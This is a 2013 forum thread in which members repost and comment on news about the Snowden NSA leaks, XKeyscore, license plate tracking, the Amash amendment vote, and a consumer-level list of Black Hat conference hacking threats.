i just copied it and left..it was on top of all kinds of neat info if you are curious
and they might be curious also so ..

ah rats the best part didn't show up
it says by clicking close you agree to their policy.. ;D


HI GUYS ;)
Title: Re: they know what you are doing
Post by: zorgon on July 16, 2013, 02:30:55 pm
More Insanity...

DHS to employees: reading newspaper coverage of Snowden's NSA leaks is "classified data spillage"


Quote
The US Department of Homeland Security is warning its employees that they can be punished for opening up this Washington Post article, which includes a classified slide (above) illustrating how the National Security Agency spies on communications:

An internal memo from DHS headquarters told workers on Friday that viewing the document from an “unclassified government workstation” could lead to administrative or legal action. “You may be violating your non-disclosure agreement in which you sign that you will protect classified national security information,” the communication said.

The memo said workers who view the article through an unclassified workstation should report the incident as a “classified data spillage.”

http://boingboing.net/2013/07/16/dhs-to-employees-reading-news.html
Title: Re: they know what you are doing
Post by: sky otter on July 16, 2013, 08:36:05 pm

http://www.washingtonpost.com/blogs/federal-eye/wp/2013/07/15/dhs-warns-employees-not-to-read-leaked-nsa-information/


Below is the full text of the memo:

 From: LARSEN, MARK R

Sent: Friday, July 12, 2013 9:50 AM

Subject: SECURITY ALERT ***Washington Post Article***

Importance: High

FYSA…From DHS HQ

Per the National Cybersecurity Communications Integration Center:

There is a recent article on the Washington Post’s Website that has a clickable link titled “The NSA Slide you never seen” that must not be opened on an Unclassified government workstation.  This link opens up a classified document which will raise the classification level of your Unclassified workstation to the classification of the slide which is reported to be TS/NF.

If opened on an Unclassified system, you are obligated to report this to the SSO as a Classified Data Spillage (Opssecurity@hq.dhs.gov <mailto:Opssecurity@hq.dhs.gov> <mailto:Opssecurity@hq.dhs.gov <mailto:Opssecurity@hq.dhs.gov> >).

Again, please exercise good judgment when visiting these webpages and clicking on such links. You may be violating your Non-Disclosure Agreement in which you sign that you will protect Classified National Security Information. You may be subject to any administrative or legal action from the Government.

Title: Re: they know what you are doing
Post by: sky otter on July 17, 2013, 08:23:02 am
 :D


looks like Snowden has been snowed in .. ;D
 I want to know what he is doing for money over there..they aren’t going to keep him for nothing
even though putin calls him an unwanted christmas present..



http://www.huffingtonpost.com/2013/07/17/edward-snowden-russia_n_3609672.html


Edward Snowden Has No Plans To Leave Russia: Lawyer
Reuters  |  Posted: 07/17/2013 7:15 am EDT  |  Updated: 07/17/2013 9:44 am EDT



MOSCOW, July 17 (Reuters) - Former U.S. spy agency contractor Edward Snowden has no plans to leave Russia soon and does not rule out eventually applying for citizenship, a lawyer helping the American with his bid for temporary asylum in Russia said on Wednesday.

Russian lawyer Anatoly Kucherena said Snowden believed it would be unsafe to try to travel to Latin America soon because of U.S. efforts to return him to the United States to face espionage charges. (Reporting by Alexei Anishchuk; Writing by Steve Gutterman, editing by Elizabeth Piper)
Title: Re: they know what you are doing
Post by: sky otter on July 20, 2013, 08:32:53 pm
http://investigations.nbcnews.com/_news/2013/07/20/19585366-report-germany-used-key-nsa-surveillance-program?lite

Report: Germany used key NSA surveillance program
Michael Dalder / REUTERS

A former monitoring base of the U.S. National Security Agency in Bad Aibling south of Munich, Germany, is seen in a July 10 photo. Chancellor Angela Merkel has defended Germany's cooperation with U.S. intelligence, dismissing comparisons of its techniques to those used in communist East Germany.
By Andrew Rafferty, Staff Writer, NBC News

German intelligence agencies have used a secret National Security Agency program as part of a U.S. effort to detect possible terrorist activities across the globe, the German magazine Der Spiegel reported Saturday.


 Germany’s foreign intelligence service and its domestic intelligence agency were equipped with a program called XKeyScore that, according to documents seen by Der Spiegel reporters, was meant to “expand their ability to support NSA as we jointly prosecute CT [counter-terrorism] targets.”

The German news outlet reported that a 2008 NSA presentation described the program as an effective espionage tool that gathers metadata and can retroactively reveal any terms a target has typed into an online search engine.

The program is also capable of receiving all unfiltered data that a target has accessed over several days, including, in part, the content of communications, the magazine said.


--------------------------------------------------------------------------------

Der Spiegel reported that documents reviewed by its writers said Germany has shown an “eagerness and desire” to aid in U.S. global intelligence gathering efforts.

Another document describes Germany's foreign intelligence service as the NSA’s “most prolific partner” in its intelligence gathering efforts.

The German intelligence agencies and NSA declined to comment to Der Spiegel when asked about the newly reported revelations.

German Chancellor Angela Merkel has said the country is not a "surveillance state" and has pushed back on questions on whether Germany engages in the broad sweeping intelligence gathering programs that alleged NSA leaker Edward Snowden has revealed to the media.

Title: Re: they know what you are doing
Post by: zorgon on July 20, 2013, 08:41:47 pm
Bad Aibling DE Echelon Station - NSA - Supposedly Closed but Google shows it active 2008

(http://www.thelivingmoon.com/45jack_files/04images/Echelon/Bad_Aibling.jpg)

Bad Aibling DE Echelon Station NSA
Bavaria, Germany
+47° 52' 49.46", +11° 58' 44.03"

In 1804, Bad Aibling was mentioned for the first time as "Epininga". In mediaeval times it was an administrative centre in the lordship of the Counts of Falkenstein. After the obliteration of the Neuburg-Falkenstein dynasty it became part of the realm of the Wittelsbach family. In 1845 the first treatments with peat pulp were offered by the physician Desiderius Beck. Bad Aibling received the title "Bad" (spa or springs) in 1895. In the year 1933 Bad Aibling became a city. After the second World War Bad Aibling evolved into a major centre for intelligence organizations and secret services.

In 2004 the American Bad Aibling ECHELON station closed after several decades of operation.

Bad Aibling DE Echelon Station
Closed in 2004?
Not according to Google Earth 2008

(http://www.thelivingmoon.com/45jack_files/04images/Bases/Bad_Aibling_01.png)

(http://www.thelivingmoon.com/45jack_files/04images/Bases/Bad_Aibling_02.png)
Main Antenna Array

(http://www.thelivingmoon.com/45jack_files/04images/Bases/Bad_Aibling_03.png)
Bad Aibling DE Echelon Station - Main Complex

(http://www.thelivingmoon.com/45jack_files/04images/Echelon/Bad_Aibling_01.jpg)
Echelon Field Station 81: Bad Aibling [RSOC] - BAS

http://www.thelivingmoon.com/45jack_files/03files/ECHELON_Bad_Aibling.html
Title: Re: they know what you are doing
Post by: sky otter on July 21, 2013, 06:42:44 am


https://www.wsws.org/en/articles/2013/07/18/aclu-j18.html

US government using license plates to track movements of millions
By Eric London
18 July 2013

A report issued by the American Civil Liberties Union (ACLU) on Wednesday [ http://www.aclu.org/alpr ] details an immense operation through which nearly 1 billion license plate records of hundreds of millions of drivers are tracked and huge databases are amassed, providing the American government with access to the history and recent whereabouts of the majority of the US population.

For years, a network of federal security agencies, local police departments and private companies have been using automatic license plate readers on police cruisers, in parking lots, at traffic intersections—even through smartphone apps—to photograph cars and their drivers and to record license plate numbers with the matching time, date and location.

“More and more cameras, longer retention periods, and widespread sharing allow law enforcement agents to assemble the individual puzzle pieces of where we have been over time into a single, high-resolution image of our lives,” the report says.

“The systems can also plot all vehicles at a particular location, such as the location where a crime—or a political protest—took place” through a procedure called “geofencing,” whereby “law enforcement or private companies can construct a virtual fence around a designated geographical area, to identify each vehicle entering that space.”

The use of this technology for such authoritarian procedures gives the lie to the claims of the government and security apparatus that the purpose of the license-tracking program is to stop crime.

In Maryland, for example, where license plate trackers stored over 85 million license plate reads in 2012 alone, only 0.2 percent of those license plates were matched to any suspected unlawful activity. Of the 0.2 percent, 97 percent of those were for violation of state registration or smog check programs.

However, the data on the whereabouts of all 85 million plates in Maryland is stored in a state fusion center, the Maryland Coordination and Analysis Center (MCAC), which is then shared with a regional database called the National Capital Region License Plate Reader Project (NCR). According to the NCR, “any law enforcement agency” can take license plate data and “retain it indefinitely.”

Regional databases similar to the NCR exist across the country to help circumvent individual state limitations on the length of time for which license plate and travel data can be held. Though not referenced in the ACLU report, the aggregated license plate data from all state and regional databases are likely compiled and stored indefinitely by the National Security Agency alongside the DNA and ID photograph records and Internet and phone communications of the vast majority of people in the US.

The depth of the involvement of the national security apparatus is evidenced by the “billions of dollars in grants” that the Department of Homeland Security (DHS) has provided through the DHS Security Grant Program and the Infrastructure Protection Program. Remarkably, license plate tracker manufacturers claim that the DHS is outdone by the Justice Department, which is the “lead Federal funding agency” for the license-tracking program.

License plate readers are also increasingly used to militarize the US-Mexico and US-Canada borders.

According to DHS reports, license plate readers are also used by the Customs and Border Protection agency to scan “nearly 100 percent of land border traffic.” In addition, Immigration and Customs Enforcement has admitted to routinely using license plate readers, as has the Drug Enforcement Agency.

In collaboration with the national security apparatus, local police departments are being mobilized to build massive databases at the grassroots level.

In 2011, the license plate tracking program was used by 75 percent of police agencies, with an additional 10 percent stating they planned to increase use of license plate readers in the near future.

And the program is not limited to use in the US. Two license plate reader manufacturers, ELSAG and PIPS Technology, claim they have sold readers to thousands of agencies abroad as well as to police agencies in all 50 states.

In addition to use by local and federal security agencies, the ACLU reports that private companies have created “numerous privately owned databases containing the location information of vast numbers of Americans” by “scan[ning] thousands of plates each day and stor[ing] information indefinitely, creating huge databases of Americans’ movements.”

The ACLU writes that “MVTrac, one of the biggest companies in this industry, claims to have photographs and location data on ‘a large majority’ of registered vehicles in the United States, while the Digital Recognition Network (DRN) boasts of ‘a national network of more than 550 affiliates’ ” that are “located in every major metropolitan area of the United States.”

“DRN affiliates,” the ACLU report continues, “feed location data on up to 50 million vehicles each month…into DRN’s national database. This database now contains over 700 million datapoints on where American drivers have been.”

Data collected from law enforcement, at parking lots, and by other private access control monitoring systems have been aggregated into the National Vehicle Location Service (NVLS), run by Vigilant Solutions, a partner of DRN. According to Vigilant Solutions, the NVLS “is the largest [license plate] data sharing initiative in the United States.”

The amassing of such an immense database is a blatant violation of the Fourth Amendment of the US Constitution, which states:

“The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated.…”

In its 2012 ruling in United States v. Jones, a five-justice majority of the Supreme Court agreed that a police department’s warrantless, month-long monitoring of the defendant’s whereabouts through a GPS monitoring device constituted an unconstitutional search because “[f]or such offenses, society’s [reasonable] expectation [of privacy] has been that law enforcement agents and others would not—and indeed, in the main, simply could not—secretly monitor and catalogue every single movement of an individual’s car, for a very long period.”

But local law enforcement agencies use plate readers without limitation and in blatant violation of the US constitution. The ACLU report describes the practice of the Pittsburg Police Department in California as “typical.” Pittsburg police claim that “[r]easonable suspicion or probable cause is not required,” for use of license plate readers, which can be operated during “any routine patrol operation.”

In setting up these vast databases, the US government has mobilized the private sector and local law enforcement to set up a police-state mechanism whereby it is possible to track the whereabouts of a majority of people in close to real time and to monitor political dissidents by tracking attendance at meetings and rallies.
Title: Re: they know what you are doing
Post by: sky otter on July 21, 2013, 10:11:54 am



http://www.huffingtonpost.com/2013/07/19/fisa-court-approves-surveillance_n_3625610.html


FISA Court Approves Continued U.S. Phone Surveillance

By LARA JAKES 07/19/13 06:13 PM ET EDT 

WASHINGTON — A secret U.S. intelligence court renewed an order Friday to continue forcing Verizon Communications to turn over hundreds of millions of telephone records to the government each day in its search for foreign terror or espionage suspects.

The order by the Foreign Intelligence Surveillance Court has been in place for years but must be renewed every three months. It was exposed in June after former National Security Agency systems analyst Edward Snowden leaked details of two top secret U.S. surveillance programs that critics say violate privacy rights.

The order was set to expire Friday, and its renewal shows that the Obama administration and the court of 11 federal judges stand behind its legality.

In a statement, the office of National Intelligence Director James Clapper said it was confirming the Verizon renewal as part of an ongoing effort to make more information about the recently declassified programs as public as possible.

Clapper "has decided to declassify and disclose publicly that the government filed an application with the Foreign Intelligence Surveillance Court seeking renewal of the authority to collect telephony metadata in bulk, and that the court renewed that authority," the statement said.

The two programs, both run by the NSA, pick up millions of telephone and Internet records that are routed through American networks each day. Intelligence officials say they have helped disrupt dozens of terrorist attacks, and target only foreign suspects outside the United States while taking close care not to look at the content of conversations or messages by American citizens.

But they have raised sharp concerns about whether the U.S. is improperly – or even illegally – snooping on people at home and abroad.

Other major U.S. telephone carriers are similarly ordered to give records of their customers' calls to the NSA, which also is able to reach into the data streams of U.S. companies such as Yahoo, Facebook Inc., Microsoft Corp., Google Inc. and others, and grab emails, video chats, pictures and more. The technology companies say they turn over information only if required by court order.

Snowden has been charged with espionage and is seeking asylum from several countries, including Russia. He has been holed up for three weeks in a transit zone at Moscow's international airport since arriving from Hong Kong, and Russian customs inspectors say they do not have jurisdiction to seize him.

At a discussion earlier Friday touching on privacy and security, DNI counsel Robert Litt maintained that "these programs are legal" because they are authorized by Congress, the courts and the White House. He said their exposure could curb the government's ability to detect threats against the U.S.

"Only time will tell the full extent of the damage caused by the unlawful disclosures of these lawful programs," Litt said.
Title: Re: they know what you are doing
Post by: A51Watcher on July 21, 2013, 10:43:01 am

WASHINGTON — A secret U.S. intelligence court renewed an order Friday to continue forcing Verizon Communications to turn over hundreds of millions of telephone records to the government each day in its search for foreign terror or espionage suspects.

AND of course the domestic ones as well.

Espionage suspects huh, you mean like ones who take cameras to secret military bases and film what they see going on, and then share it with the public.


Maybe it's time I come out of hiding.




Quote
"Only time will tell the full extent of the damage caused by the unlawful disclosures of these lawful programs," Litt said.

Yeah the terrestrial ones may be lawful, but the ET ones?, no way, sorry you don't own that.


Title: Re: they know what you are doing
Post by: sky otter on July 21, 2013, 02:37:26 pm



http://www.bbc.co.uk/news/technology-23374867


Apple, Google and other tech giants demand spying openness


19 July 2013 Last updated at 07:13 ET

Apple, Google and dozens of other technology companies have urged US authorities to let them divulge more details about security requests.
The companies want to be able to report regular statistics about the nature and scope of what data is being asked for.

Whistle-blower Edward Snowden's revelations about US spying capabilities has left the tech firms keen to assert their independence.
Authorities are said to be considering the companies' request.
"We just want to make sure we do it right," said Gen Keith Alexander, director of the National Security Agency.

"We don't impact anything ongoing with the FBI. I think that's the reasonable approach."

Limited scope
 
The companies sent a letter outlining their request on Thursday to Gen Alexander, as well as President Obama and Congress.
It was co-signed by some of the most influential companies in the tech world, including Facebook, Twitter and LinkedIn.

Campaign groups such as the Electronic Frontier Foundation and Human Rights Watch are also backing the action.

Companies are currently allowed to release limited data regarding security requests and their nature.
But as it stands those disclosures must be limited in scope, and in many cases require that the firms ask the courts for permission to make the information public.

Many users of popular services, particularly social networks, reacted angrily to the news that companies regularly make available information about users when requested to do so.

"They don't have a choice. Court order, they have to do this," Mr Alexander from the NSA said, suggesting that security authorities could be open to the idea.

"What they want is the rest of the world to know that we're not reading all of that email, so they want to give out the numbers.

"I think there's some logic in doing that."





Related Stories
Microsoft calls for NSA transparency
Microsoft's work with NSA 'revealed'
Why for the NSA every call matters
Title: Re: they know what you are doing
Post by: sky otter on July 23, 2013, 07:58:20 am



ah now this could get interesting


huffingtonpost.com/2013/07/23/keith-alexander-justin-amash_n_3639329.html

NSA's Keith Alexander Calls Emergency Private Briefing To Lobby Against Justin Amash Amendment Curtailing Its Power

Ryan Grim


Posted: 07/23/2013 10:00 am EDT  |  Updated: 07/23/2013 10:10 am EDT

WASHINGTON -- The National Security Agency kicked its lobbying into high gear after an amendment from Rep. Justin Amash, a libertarian Republican from Michigan, was ruled in order and will get a vote sometime this week.

NSA head Gen. Keith Alexander scheduled a last-minute, members-only briefing in response to the amendment, according to an invitation distributed to members of Congress this morning and forwarded to HuffPost. "In advance of anticipated action on amendments to the DoD Appropriations bill, Ranking Member C.A. Dutch Ruppersberger of the House Intelligence Committee invites your Member to attend a question and answer session with General Keith B. Alexander of the National Security Agency," reads the invitation.

The Amash amendment would put the House on record when it comes to NSA snooping. The language of the measure, which would be attached to the Pentagon's spending bill "Ends authority for the blanket collection of records under the Patriot Act. Bars the NSA and other agencies from using Section 215 of the Patriot Act to collect records, including telephone call records, that pertain to persons who are not subject to an investigation under Section 215."

The amendment could draw support from both Democrats and Republicans.
Title: Re: they know what you are doing
Post by: sky otter on July 23, 2013, 08:54:30 pm

oh yeah.. interesting..let's see if the peoples really have anything to say

http://www.huffingtonpost.com/2013/07/23/justin-amash-nsa-amendment_n_3642228.html

Justin Amash NSA Amendment Earns White House Condemnation
Posted: 07/23/2013 10:06 pm EDT

Matt Sledge


WASHINGTON -- In a sign of growing concern over Congress's reaction to the revelations of National Security Agency leaker Edward Snowden, the White House publicly announced its opposition to a House push to block the spy agency's bulk collection of ordinary Americans' phone records on Tuesday.

Reacting to a defense appropriations amendment sponsored by Rep. Justin Amash (R-Mich.) to curb the NSA's vast program of collecting and storing phone records, White House press secretary Jay Carney said, "We oppose the current effort in the House to hastily dismantle one of our Intelligence Community’s counterterrorism tools.

"This blunt approach is not the product of an informed, open, or deliberative process," Carney continued in a statement.

The White House rarely comments on an amendment before it reaches the floor of even one chamber of Congress. That, coupled with an emergency briefing NSA Director Keith Alexander held for members of Congress on Tuesday, appears to show that senior administration officials are seriously worried about the possibility of congressional action to stop the mass domestic surveillance.

Amash's amendment has attracted bipartisan supporters, including Rep. John Conyers (D-Mich.). Debate on his measure is likely to begin on Wednesday, with a vote on Wednesday or Thursday.

Taking to Twitter, Amash suggested it was ironic for the Obama administration to call the debate over his amendment insufficiently "informed" or "open." After Snowden's revelations, members of Congress said they were astonished at the breadth of the NSA's collection of data on ordinary, law-abiding Americans.

David Segal, the executive director of the online advocacy group Demand Progress, which supports Amash's amendment, said the White House statement shows the administration is scared it may pass. The House floor vote this week will be Congress's first chance to weigh in directly on NSA surveillance since Snowden's leaks began.

"It's been an extraordinary day on Capitol Hill, as insiders scramble to block the growing chorus of support for the Amash anti-surveillance amendment," Segal said in an email. "Just as the NSA's domestic spying apparatus is evidence of some of our leaders' fear of the American people, these extraordinary actions by the White House and the NSA evidence their fear that the will of Americans will be codified in the law tomorrow."
Title: Re: they know what you are doing
Post by: sky otter on July 24, 2013, 07:00:17 pm


it figures..sigh :(


http://www.huffingtonpost.com/2013/07/24/justin-amash-amendment_n_3647893.html?utm_hp_ref=politics

Matt Sledge


  Justin Amash Amendment To Stop NSA Data Collection Voted Down In House (UPDATE)
Posted: 07/24/2013 7:05 pm EDT  |  Updated: 07/24/2013 8:47 pm EDT

WASHINGTON -- The House of Representatives on Wednesday evening narrowly defeated an amendment from Rep. Justin Amash (R-Mich.) meant to halt the National Security Agency's bulk collection of phone record data.

"We're here today for a very simple reason: to defend the Fourth Amendment, to defend the privacy of each and every American," Amash said as he introduced his measure. Lawmakers' votes, he said, would answer one simple question, "Do we oppose the suspicionless collection of every American's phone records?"

On Wednesday, at least, the answer was no. The House voted 217-205 to defeat the amendment after intense last-minute lobbying from the White House and the NSA.

Democrats voted for the amendment by a 111-to-83 margin. Republicans, meanwhile, split 134 to 93 against it.

The closeness of the vote, the first on the surveillance programs since the revelations of NSA leaker Edward Snowden, gave civil liberties groups like the American Civil Liberties Union, which has been a vigorous critic of that surveillance, some reason for optimism that future reforms will be possible.

Amash's measure, offered as an amendment to the Department of Defense appropriations bill, would have prevented the government from invoking Section 215 of the Patriot Act to scoop up phone call metadata -- information about whom people are calling and when, but not the content of the calls -- unless the government had a reasonable suspicion that a specific target was involved in terrorism.

While the bill was co-sponsored by liberals, including Rep. John Conyers (D-Mich.), Amash warned that "opponents of this amendment will use the same tactic that every government throughout history has used to justify its violation of rights: fear." And the measure's foes -- even those within his own party -- did not disappoint.

Arguing that phone records collection helps protect a "nation under siege," Rep. Mike Rogers (R-Mich.), chairman of the House Intelligence Committee, said, "Passing this amendment takes us back to September 10."

Pointing to a Wall Street Journal editorial that came out Wednesday, Rep. Mac Thornberry (R-Texas) contended that passing the amendment would reward Snowden.

"The only people who have benefited from the revelation of classified information ... the only result is that those who are engaged in Islamic jihad will have been benefited," said Rep. Michele Bachmann (R-Minn.). "Those that we seek to protect have not."

Bachmann's position on the bill, identical to that of the Obama administration, showed the strange bedfellows that Snowden's bombshell leaks have created.

Although Amash's amendment was defeated, civil liberties advocates found something to cheer in the closeness of the vote. Just two years ago, the House voted by a comfortable 250-153 margin to reauthorize the Patriot Act, which the administration uses to justify its phone metadata collection. On Wednesday, by contrast, a swing of just seven votes would have put Amash's amendment over the top.

Back then, said Conyers, "we didn't know about it."

Conyers also noted that this time, on the Democratic side, members up to and including House Minority Leader Nancy Pelosi (D-Calif.) pressured members to vote against the Amash amendment.

In 2005, Pelosi was stridently opposed to the section of the Patriot Act under debate now. She called the provisions being reauthorized a "massive invasion of privacy." But on Wednesday, she voted against reining in the Patriot Act.

A sign of how dimly the Democratic leadership viewed Amash's amendment could be seen in an email from the office of House Minority Whip Steny Hoyer (D-Md.). The email described the sweeping NSA program approvingly as merely collecting phone records "that pertain to persons who may be in communication with terrorist groups but are not already subject to an investigation."

Conyers said the lobbying "was heavy. They were very worried about it."

But, he added, "the fact that they won this narrowly means they still are worried -- because this thing isn't over yet. This is just the beginning."

This story has been updated with reaction after the House vote.
Title: Re: they know what you are doing
Post by: sky otter on July 24, 2013, 08:18:31 pm

whoa..he's just now getting a change of clothes..yikes..bet he has had some second thoughts


http://www.reuters.com/article/2013/07/24/us-russia-snowden-idUSBRE96N0KH20130724

[size=14pt]Fugitive Snowden's hopes of leaving Moscow airport dashed[/size]
By Lidia Kelly

MOSCOW | Wed Jul 24, 2013 7:45pm EDT

MOSCOW (Reuters) - Fugitive U.S. spy agency contractor Edward Snowden's hopes of leaving Moscow's Sheremetyevo Airport for the first time in a month on Wednesday were dashed when he failed to secure permission from Russia to leave.

An airport source said Snowden, who is wanted by the United States on espionage charges for revealing details of government intelligence programs, was handed documents by his lawyer that were expected to include a pass to leave the transit area.

But Snowden did not go through passport control, and lawyer Anatoly Kucherena, who is helping him with his request for temporary asylum in Russia until he can reach a country that will shelter him, said the American did not have the pass he needed.

It was not clear whether there had been last-minute political intervention or a hitch, or whether the pass had never been in his possession.

Kucherena said he hoped Snowden's status would be resolved soon. "I must say he is of course anxious about it and I hope that this situation will be resolved in the nearest future," Kucherena said at Sheremetyevo.

"This is the first time Russia is facing such a situation, and this issue of course requires time for the immigration workers."

In Washington, the White House said it was seeking clarification of Snowden's status, the State Department made clear that allowing him to leave the airport would be "deeply disappointing" and Secretary of State John Kerry telephoned Russian Foreign Minister Sergei Lavrov about the situation.

"The secretary spoke with Foreign Minister Lavrov this morning," said State Department spokeswoman Jen Psaki. "He reiterated our belief ... that Mr. Snowden needs to be returned to the United States where he will have a fair trial."

Bolivia, Nicaragua and Venezuela have said they could offer sanctuary to Snowden, who arrived on June 23 from Hong Kong, where he had fled to escape capture and trial in the United States on espionage charges.

None of the three Latin American countries can be reached by a direct commercial flight from Moscow, so Snowden has requested temporary asylum in Russia until he believes he can safely reach one of them.

The United States wants him extradited to face prosecution and has revoked his passport.

Russia has refused to send him home and risks damage to its relations with the United States if it grants him temporary asylum - a process that could take three months.

Kucherena confirmed Snowden was staying somewhere in the many corridors and rooms of the transit area between the runway and passport control - an area Russia considers neutral territory - and that he had learned the Russian for "Hi", "Bye-bye" and "I'll ring you."

The 30-year-old had received calls from across Russia, with offers to give him money and a place to stay, and even a suggestion by one woman to adopt him. He said he had enough money to get by for now.

Kucherena said he had brought him fresh underwear and shirts and added that he had given him the novel "Crime and Punishment" by 19th-century writer Fyodor Dostoevsky and short stories by Anton Chekhov.

President Vladimir Putin signaled last week that he did not want the dispute to derail Russia's relations with the United States, and the decision on temporary asylum could be delayed until after U.S. President Barack Obama visits Moscow for a summit in early September.

It will be Putin's first summit with Obama since the former KGB spy started a new term last year,

and precedes a subsequent G20 summit in St. Petersburg.

DIPLOMATIC FALLOUT FROM LEAKS

Both Russia and the United States have signaled they want to improve ties, strained by issues ranging from the Syrian conflict to Putin's treatment of opponents and Western-funded non-governmental organizations since he started a third term in 2012.

Putin has said Snowden must stop anti-U.S. activities. Snowden has said he does not regard his activities as hostile to the United States, but Kucherena said last week that he had agreed to halt such actions.

Snowden, who has been assisted by the WikiLeaks anti-secrecy group, has not been seen in public since June 23, although he had a meeting at the airport with human rights groups on July 13.

He fears the United States will persuade its allies to prevent him using their airspace, or that his plane might be forced down so that he can be taken into custody and extradited.

Kucherena said earlier this week that he did not rule out Snowden seeking Russian citizenship.

There has already been diplomatic fallout from Snowden's leaks, which included information that the U.S. National Security Agency bugged European Union offices and gained access to EU internal computer networks, although the EU is an ally.

China, Brazil and France have also voiced concern over the spying program.

U.S. relations with Latin American states have been clouded by the refusal of four U.S. allies in Europe to let a plane carrying Bolivia's president home from Moscow use their airspace because of suspicion that Snowden might be on the plane.

U.S. lawmakers were also clashing over the case as the House of Representatives debated the 2014 defense spending bill.

The House on Wednesday rejected a proposed amendment from Michigan Republican Justin Amash that would bar the NSA from collecting telephone call records and other data from people in the United States not specifically under investigation.

Obama opposed Amash's amendment, saying it would "hastily dismantle one of our intelligence community's counterterrorism tools."

(Additional reporting by Alexei Anishchuk, Arshad Mohammed and Gabriel Debenedetti in Washington, Writing by Timothy Heritage; Editing by Angus MacSwan and Peter Cooney)
Title: Re: they know what you are doing
Post by: burntheships on July 25, 2013, 09:09:10 pm
So now they want passwords too?

Feds tell Web firms to turn over user account passwords
 
Secret demands mark escalation in Internet surveillance by the federal government through gaining access to user passwords, which are typically stored in encrypted form.


http://news.cnet.com/8301-13578_3-57595529-38/feds-tell-web-firms-to-turn-over-user-account-passwords/

 ::)
Title: Re: they know what you are doing
Post by: deuem on July 26, 2013, 01:51:47 am
Great, people will now need to change their password every log in. That will keep the world busy.
 
Is there no end to this madness?
Title: Re: they know what you are doing
Post by: sky otter on July 31, 2013, 08:34:47 am
 >:(



On the Lookout: New Hacker Threats

By Jason Glassberg, co-founder of Casaba

Published July 31, 2013


Read more: http://www.foxbusiness.com/personal-finance/2013/07/31/7-new-hacker-threats-to-watch-out-for/#ixzz2adaVUCgx

What happens in Vegas, stays in Vegas...except when it comes to Black Hat, arguably the world’s most important annual hacking conference. This renowned - and sometimes infamous - hacker con is scheduled to kick off July 31- and it’s an event that every consumer should pay attention to.

So why should you care about a hacker con? This event is where the top new threats to our smartphones and other devices are often first revealed. In many ways, Black Hat sets the course for what hackers around the world will be doing for the next 12 months.

This year’s Black Hat is especially interesting, because it marks an important shift in the hacker community as more attention is being paid to electronic devices not typically thought of as hackable. As manufacturers add Internet connectivity into more ‘things’ - from cars to appliances, TVs, pacemakers, etc. - these objects become vulnerable to cyber attacks.



Here are the top seven hacks coming out at Black Hat that consumers need to know about - some of them can be prevented, but others can’t:



1. HTTPS is in Trouble. If we were to rank the most important things that ever happened to the web, SSL/TLS would certainly be in the top three. What is it? It’s an online security feature - the ‘s’ in HTTPS - that makes it possible to safely log into a bank account, make a purchase or just travel the web without letting other people spy on you.

The problem, however, is that flaws have been discovered in SSL/TLS that could allow a hacker to circumvent this security setting - and steal your information. At this year’s Black Hat, hackers will be showing how to steal a user’s login credentials from a ‘protected‘ HTTPS site - and another talk will show how to retrieve this information from a device. 



What can you do?: Don’t rely solely on HTTPS to keep you safe. Avoid logging into bank accounts or entering credit/debit card information when using a public WiFi network. Also, make sure to thoroughly wipe any device that’s ever used your login credentials (computer, laptop, phone, tablet) before you discard it.



2. Cell Tower Spoofing. Can you hear me now? Actually, the real question should be, who’s doing the listening? Hackers at Black Hat will reveal a frightening attack on cell phones - by using a modified CDMA femtocell (which anyone can buy, by the way), hackers can trick your phone into connecting to them instead of the cell phone tower, eavesdrop on everything (phone calls, text messages, web sites visited, etc.) and even clone your phone! This is similar to what hackers now do with a WiFi network, where they trick you into thinking their WiFi hotspot is a legitimate one.

This is an alarming vulnerability that should concern anyone who owns a CDMA smartphone (Verizon, Sprint, US Cellular, Alltel, etc.).



What can you do?: If you own a CDMA phone, you should really think about adding a VPN (virtual private network) that will encrypt everything you do on the phone.



3. When Your TV Watches You. Smart TVs are the latest trend in entertainment - with new models available from Samsung, Sony and LG, plus upcoming models from Apple and Google. However, connecting TVs to the Internet and giving them an operating system, plus features like webcams and mics, also comes with new risks.

Hackers at Black Hat will be showing how to break into smart TVs to spy on users through the webcam, monitor what you’re doing, even scam you through a TVshing attack (TV phishing).



What can you do?: Right now this is a low-risk threat, but as more homes add smart TVs to the living room it may be something to plan for. Unplugging the TV when not in use, or covering the camera, are some basic precautions that could help.



4. Hijacking Appliances. Another gadget that’s getting ‘smarter’ is the home appliance. WiFi-connected refrigerators, dishwashers, washers/dryers or thermostats will become more common over the years. But they’re also more vulnerable.

Researchers at Black Hat are showing off new ways to remotely eavesdrop and interfere with smart appliances and networked home electronics - which could have serious implications for home security.



What can you do?: Nothing.



5 Remote Controlling Cars. Manufacturers are increasingly adding new features to automotive computers (ECUs) to expand entertainment offerings and safety controls. But the ECU could also let a hacker gain control of certain automotive functions.

A well-known security researcher will be showing how to hack the ECU to affect a car’s breaking and steering at Black Hat’s sister conference, DefCon.



What can you do?: Nothing.



6. SpyPhone. Security pros have long worried about the danger of mobile apps - specifically, their ability to sneak viruses and malware onto your phone.

A researcher at Black Hat this year will be showing how infected apps can turn your phone into a full-blown surveillance tool - monitoring you via video and mic, as well as intercepting all of your calls, texts, emails and other activity.



What can you do?: Don’t download apps from third-party websites. Stick to well-known apps that have been around for a while. Limit the total number of apps you download. Check the permissions before approving them (i.e., why does a game need to access my contacts?).



7. Hacking the Human Body. Implantable medical devices - including pacemakers, defibrillitors, insulin pumps, etc. - now come with wireless connections but only rudimentary security.

Hackers say the devices can be remotely controlled to harm or kill the patient



What can you do?: Nothing.

 

Jason Glassberg, co-founder of Casaba, LLC provides cybersecurity consulting to Fortune 50s, banks, energy firms and government agencies.  The company’s areas of expertise include penetration testing, threat modeling, reverse engineering, malware analysis and software security. Casaba is part of Microsoft’s SDL Pro Network.



Read more: http://www.foxbusiness.com/personal-finance/2013/07/31/7-new-hacker-threats-to-watch-out-for/#ixzz2adacamUP
Title: Re: they know what you are doing
Post by: sky otter on July 31, 2013, 04:05:29 pm

very long and detailed article with diagrams
.. only posted a small part here
go to the link

http://www.theguardian.com/world/2013/jul/31/nsa-top-secret-program-online-data
Series: Glenn Greenwald on security and liberty
Previous | Index
XKeyscore: NSA tool collects 'nearly everything a user does on the internet'
• XKeyscore gives 'widest-reaching' collection of online data
• NSA analysts require no prior authorization for searches
• Sweeps up emails, social media activity and browsing history
• NSA's XKeyscore program – read one of the presentations

Glenn Greenwald
theguardian.com, Wednesday 31 July 2013 08.56 EDT
A top secret National Security Agency program allows analysts to search with no prior authorization through vast databases containing emails, online chats and the browsing histories of millions of individuals, according to documents provided by whistleblower Edward Snowden.

